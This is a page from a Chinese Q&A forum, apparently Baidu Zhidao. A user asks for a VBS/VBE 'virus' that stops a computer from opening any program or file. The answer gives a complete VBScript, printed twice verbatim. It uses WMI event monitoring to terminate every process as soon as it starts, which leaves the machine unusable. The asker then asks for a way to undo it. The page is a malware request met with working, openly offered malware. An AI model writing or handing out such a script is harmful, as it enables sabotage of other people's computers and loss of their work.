制作一个病毒脚本文件,格式为VBS或VBE,运行后使系统无法打开任何程序和文件,教教怎么做,谢谢各位大神
2个回答
展开全部
strComputer ="."
set ws = createobject("wscript.shell")
set objWMIService = getObject("winmgmts://" & strComputer & "/root/cimv2")
strQuery = "SELECT * FROM __InstanceOperationEvent WITHin 2 WHERE TargetInstance ISA 'Win32_Process'"
set objEventSource = objWMIService.ExecNotificationQuery(strQuery)
ws.popup "进程监控开始...",1,"静飞 进程监控",64
do
set objEventObject = objEventSource.NextEvent()
select case objEventObject.Path_.Class
Case"__InstanceCreationEvent" '启动新进程,结束进程
Set colProcessList=objWMIService.ExecQuery("Select * from Win32_Process Where Name='" & objEventObject.TargetInstance.Name & "'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Case"__InstanceDeletionEvent" '进程被关闭
't = objEventObject.TargetInstance.CreationDate
'ti = mid(t,9,2) & ":" & mid(t,11,2) & ":" & mid(t,13,2)
'ts = datediff("s",ti,time)
'msg = "共运行" & ts \ 3600&"小时" & (ts mod 3600) \ 60 & "分钟" & (ts mod 3600) mod 60 & "秒"
'ws.popup "进程被关闭:" & vbcrlf & objEventObject.TargetInstance.Name&vbcrlf & msg,2,"静飞 进程监控",64
End select
loop
set ws = createobject("wscript.shell")
set objWMIService = getObject("winmgmts://" & strComputer & "/root/cimv2")
strQuery = "SELECT * FROM __InstanceOperationEvent WITHin 2 WHERE TargetInstance ISA 'Win32_Process'"
set objEventSource = objWMIService.ExecNotificationQuery(strQuery)
ws.popup "进程监控开始...",1,"静飞 进程监控",64
do
set objEventObject = objEventSource.NextEvent()
select case objEventObject.Path_.Class
Case"__InstanceCreationEvent" '启动新进程,结束进程
Set colProcessList=objWMIService.ExecQuery("Select * from Win32_Process Where Name='" & objEventObject.TargetInstance.Name & "'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Case"__InstanceDeletionEvent" '进程被关闭
't = objEventObject.TargetInstance.CreationDate
'ti = mid(t,9,2) & ":" & mid(t,11,2) & ":" & mid(t,13,2)
'ts = datediff("s",ti,time)
'msg = "共运行" & ts \ 3600&"小时" & (ts mod 3600) \ 60 & "分钟" & (ts mod 3600) mod 60 & "秒"
'ws.popup "进程被关闭:" & vbcrlf & objEventObject.TargetInstance.Name&vbcrlf & msg,2,"静飞 进程监控",64
End select
loop
追问
帮忙做下解决的东西吧,我给你加分
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询